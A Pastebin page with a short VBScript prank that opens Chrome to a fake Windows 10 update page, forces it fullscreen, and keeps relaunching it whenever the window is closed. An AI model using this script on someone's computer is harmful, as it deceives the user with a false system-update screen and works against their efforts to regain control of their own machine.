Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- set WshShell = WScript.CreateObject("WScript.Shell")
- function readFromRegistry (strRegistryKey, strDefault)
- Dim WSHShell, value
- On Error Resume Next
- Set WSHShell = CreateObject ("WScript.Shell")
- value = WSHShell.RegRead (strRegistryKey)
- if err.number <> 0 then
- readFromRegistry= strDefault
- else
- readFromRegistry=value
- end if
- set WSHShell = nothing
- end function
- function OpenWithChrome(strURL)
- Dim strChrome
- Dim WShellChrome
- strChrome = readFromRegistry ( "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe\Path", "")
- if (strChrome = "") then
- strChrome = "chrome.exe"
- else
- strChrome = strChrome & "\chrome.exe"
- end if
- Set WShellChrome = CreateObject("WScript.Shell")
- strChrome = """" & strChrome & """" & " " & strURL
- WShellChrome.Run strChrome, 1, false
- end function
- OpenWithChrome "http://fakeupdate.net/win10u/"
- WScript.Sleep 2000
- WshShell.SendKeys "{F11}"
- For i = 1 to 10
- i = i - 1
- Set WShellChrome = CreateObject("WScript.Shell")
- WShellChrome.AppActivate("Chrome")
- if (WShellChrome.AppActivate("Chrome") = False) Then
- o = o + 1
- set WshShell = WScript.CreateObject("WScript.Shell")
- OpenWithChrome "http://fakeupdate.net/win10u/"
- WScript.Sleep 2000
- WshShell.SendKeys "{F11}"
- End If
- if (o = 10) Then
- i = 10
- End If
- Next
Advertisement
Add Comment
Please, Sign In to add comment